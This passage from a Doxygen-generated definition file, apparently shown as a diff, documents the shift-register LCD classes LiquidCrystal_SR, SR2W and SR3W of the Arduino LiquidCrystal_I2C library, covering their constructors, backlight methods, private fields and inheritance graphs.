sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +fio_register +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_srEnableRegister'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR.h'; + sec-mem-desc-line = '170'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___s_r_1ad20f9d3282b047fdbae8e97b07d4fc89'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_two_wire'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR.h'; + sec-mem-desc-line = '164'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + }; /* cp-section */ + cp-filename = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR.h'; + cp-fileline = '95'; + cp-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + cp-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + cp-inheritancegraph = <<_EnD_oF_dEf_TeXt_ + node = { + node-id = 18; + node-label = 'LiquidCrystal_SR'; + node-link = { + node-link-id = 'class_liquid_crystal___s_r'; + }; + node-child = { + child-id = '19'; + relation = public-inheritance; + }; /* node-child */ + }; /* node */ + node = { + node-id = 19; + node-label = 'LCD'; + node-link = { + node-link-id = 'class_l_c_d'; + }; + }; /* node */ + +_EnD_oF_dEf_TeXt_; + cp-collaborationgraph = <<_EnD_oF_dEf_TeXt_ + node = { + node-id = 20; + node-label = 'LiquidCrystal_SR'; + node-link = { + node-link-id = 'class_liquid_crystal___s_r'; + }; + node-child = { + child-id = '21'; + relation = public-inheritance; + }; /* node-child */ + }; /* node */ + node = { + node-id = 21; + node-label = 'LCD'; + node-link = { + node-link-id = 'class_l_c_d'; + }; + }; /* node */ + +_EnD_oF_dEf_TeXt_; +}; /* class */ +class = { + cp-id = 'class_liquid_crystal___s_r2_w'; + cp-name = 'LiquidCrystal_SR2W'; + cp-ref = { + ref-type = base; + ref-id = 'class_l_c_d'; + ref-prot = public; + ref-virt = non-virtual; + }; + cp-section = { + sec-kind = 'public-func'; + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___s_r2_w_1af307fdf5c8feb757e965074dcdeb1dd3'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'LiquidCrystal_SR2W'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'srdata'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'srclock'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +t_backlighPol +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'blpol'; + sec-mem-param-defval = <<_EnD_oF_dEf_TeXt_ +POSITIVE +_EnD_oF_dEf_TeXt_; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR2W.h'; + sec-mem-desc-line = '151'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract LCD 2 wire SHIFT REGISTER constructor. + @discussion Defines the pin assignments that connect to the shift register. + The constructor does not initialize the LCD. Assuming 1 line 8 pixel high + font. + + @param srdata[in] Arduino pin for shift register data line. + @param srclock[in] Arduino pin for shift register clock line. + @param blpol[in] optional backlight polarity (default = POSITIVE) +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___s_r2_w_1a65dc6f261c319be8e56f3c1f6a5c877d'; + sec-mem-virt = virtual; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +virtual void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'send'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'value'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'mode'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR2W.h'; + sec-mem-desc-line = '165'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Send a particular value to the LCD. + @discussion Sends a particular value to the LCD for writing to the LCD or + as an LCD command using the shift register. + + Users should never call this method. + + @param value[in] Value to send to the LCD. + @param mode[in] DATA=8bit data, COMMAND=8bit cmd, FOUR_BITS=4bit cmd + the LCD. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___s_r2_w_1a2158db27287c1564a03e7a1472beb3b6'; + sec-mem-virt = virtual; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'setBacklight'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'mode'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR2W.h'; + sec-mem-desc-line = '177'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Switch-on/off the LCD backlight. + @discussion Switch-on/off the LCD backlight. + The setBacklightPin has to be called before setting the backlight for + this method to work. @see setBacklightPin. + + @param mode[in] backlight mode (0 off, non-zero on) +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + }; /* cp-section */ + cp-section = { + sec-kind = 'private-func'; + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___s_r2_w_1a12c14153e7056cb4a98310529bace6a8'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'init'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'srdata'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'srclock'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +t_backlighPol +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'blpol'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'lines'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'font'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR2W.h'; + sec-mem-desc-line = '186'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract Initializes the LCD pin allocation + @discussion Initializes the LCD pin allocation and configuration. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___s_r2_w_1ae369efcd3fca47a018a034f5f4a1679b'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'loadSR'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'val'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR2W.h'; + sec-mem-desc-line = '192'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract takes care of shifting and the enable pulse +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + }; /* cp-section */ + cp-section = { + sec-kind = 'private-attrib'; + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___s_r2_w_1a3b1dfb83ad02274c30fa940a10619737'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_blMask'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR2W.h'; + sec-mem-desc-line = '200'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___s_r2_w_1a906f803e1ae324b5383fa004093124f4'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_blPolarity'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR2W.h'; + sec-mem-desc-line = '199'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___s_r2_w_1a27727d63c1ce0f9aada630814b8f022b'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +fio_bit +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_srClockMask'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR2W.h'; + sec-mem-desc-line = '197'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___s_r2_w_1aa36d38c009bf846e7726fc48c0067fc3'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +fio_register +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_srClockRegister'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR2W.h'; + sec-mem-desc-line = '196'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___s_r2_w_1ad188042fdcc7df0178248401c678eb8e'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +fio_bit +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_srDataMask'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR2W.h'; + sec-mem-desc-line = '195'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___s_r2_w_1a2e43c3f1d6b0e5599a1b4d14ef428077'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +fio_register +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_srDataRegister'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR2W.h'; + sec-mem-desc-line = '194'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + }; /* cp-section */ + cp-filename = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR2W.h'; + cp-fileline = '138'; + cp-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + cp-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + cp-inheritancegraph = <<_EnD_oF_dEf_TeXt_ + node = { + node-id = 23; + node-label = 'LCD'; + node-link = { + node-link-id = 'class_l_c_d'; + }; + }; /* node */ + node = { + node-id = 22; + node-label = 'LiquidCrystal_SR2W'; + node-link = { + node-link-id = 'class_liquid_crystal___s_r2_w'; + }; + node-child = { + child-id = '23'; + relation = public-inheritance; + }; /* node-child */ + }; /* node */ + +_EnD_oF_dEf_TeXt_; + cp-collaborationgraph = <<_EnD_oF_dEf_TeXt_ + node = { + node-id = 25; + node-label = 'LCD'; + node-link = { + node-link-id = 'class_l_c_d'; + }; + }; /* node */ + node = { + node-id = 24; + node-label = 'LiquidCrystal_SR2W'; + node-link = { + node-link-id = 'class_liquid_crystal___s_r2_w'; + }; + node-child = { + child-id = '25'; + relation = public-inheritance; + }; /* node-child */ + }; /* node */ + +_EnD_oF_dEf_TeXt_; +}; /* class */ +class = { + cp-id = 'class_liquid_crystal___s_r3_w'; + cp-name = 'LiquidCrystal_SR3W'; + cp-ref = { + ref-type = base; + ref-id = 'class_l_c_d'; + ref-prot = public; + ref-virt = non-virtual; + }; + cp-section = { + sec-kind = 'public-func'; + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___s_r3_w_1ae1396bcd5e9c5b7ed13182c166de776b'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'LiquidCrystal_SR3W'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'data'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'clk'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'strobe'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR3W.h'; + sec-mem-desc-line = '90'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract Class constructor. + @discussion Initializes class variables and defines the IO driving the + shift register. The constructor does not initialize the LCD. + Default configuration: + Shift register LCD + QA - 0 DB4 + QB - 1 DB5 + QC - 2 DB6 + QD - 3 DB7 + QE - 4 E + QF - 5 + QG - 6 Rs + GND Rw + + @param strobe[in] digital IO connected to shiftregister strobe pin. + @param data[in] digital IO connected to the shiftregister data pin. + @param clk[in] digital IO connected to the shiftregister clock pin. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___s_r3_w_1a7b2f382b76bc9d88adb8d681e824b4de'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'LiquidCrystal_SR3W'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'data'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'clk'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'strobe'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'backlighPin'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +t_backlighPol +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'pol'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR3W.h'; + sec-mem-desc-line = '93'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___s_r3_w_1a24f051747dfeda48f7b207c3358c8015'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'LiquidCrystal_SR3W'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'data'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'clk'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'strobe'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'En'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'Rw'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'Rs'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd4'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd5'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd6'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd7'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'backlighPin'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +t_backlighPol +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'pol'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR3W.h'; + sec-mem-desc-line = '119'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___s_r3_w_1a4fab8ff2f21bba3efd133cd8c87fffc0'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'LiquidCrystal_SR3W'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'data'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'clk'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'strobe'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'En'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'Rw'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'Rs'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd4'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd5'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd6'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd7'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR3W.h'; + sec-mem-desc-line = '114'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract Class constructor. + @discussion Initializes class variables and defines the control lines of + the LCD and the shiftregister. The constructor does not initialize the LCD. + + @param strobe[in] digital IO connected to shiftregister strobe pin. + @param data[in] digital IO connected to shiftregister data pin. + @param clk[in] digital IO connected to shiftregister clock pin. + @param En[in] LCD En (Enable) pin connected to SR output pin. + @param Rw[in] LCD Rw (Read/write) pin connected to SR output pin. + @param Rs[in] LCD Rs (Reg Select) pin connected to SR output pin. + @param d4[in] LCD data 4 pin map to the SR output pin. + @param d5[in] LCD data 5 pin map to the SR output pin. + @param d6[in] LCD data 6 pin map to the SR output pin. + @param d7[in] LCD data 7 pin map to the SR output pin. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___s_r3_w_1ade34af5b7fe795482f1848c2176d6e56'; + sec-mem-virt = virtual; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +virtual void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'send'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'value'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'mode'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR3W.h'; + sec-mem-desc-line = '133'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Send a particular value to the LCD. + @discussion Sends a particular value to the LCD for writing to the LCD or + as an LCD command. + + Users should never call this method. + + @param value[in] Value to send to the LCD. + @param mode[in] DATA - write to the LCD CGRAM, COMMAND - write a + command to the LCD. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___s_r3_w_1a6d0fc7907ef9fd87c408a21b9bd49295'; + sec-mem-virt = virtual; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'setBacklight'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'value'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR3W.h'; + sec-mem-desc-line = '154'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Switch-on/off the LCD backlight. + @discussion Switch-on/off the LCD backlight. + The setBacklightPin has to be called before setting the backlight for + this method to work. @see setBacklightPin. + + @param value: backlight mode (HIGH|LOW) +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___s_r3_w_1a894d0ea8ea61c1d15acd8a26d417e477'; + sec-mem-virt = virtual; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'setBacklightPin'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'value'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +t_backlighPol +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'pol'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = 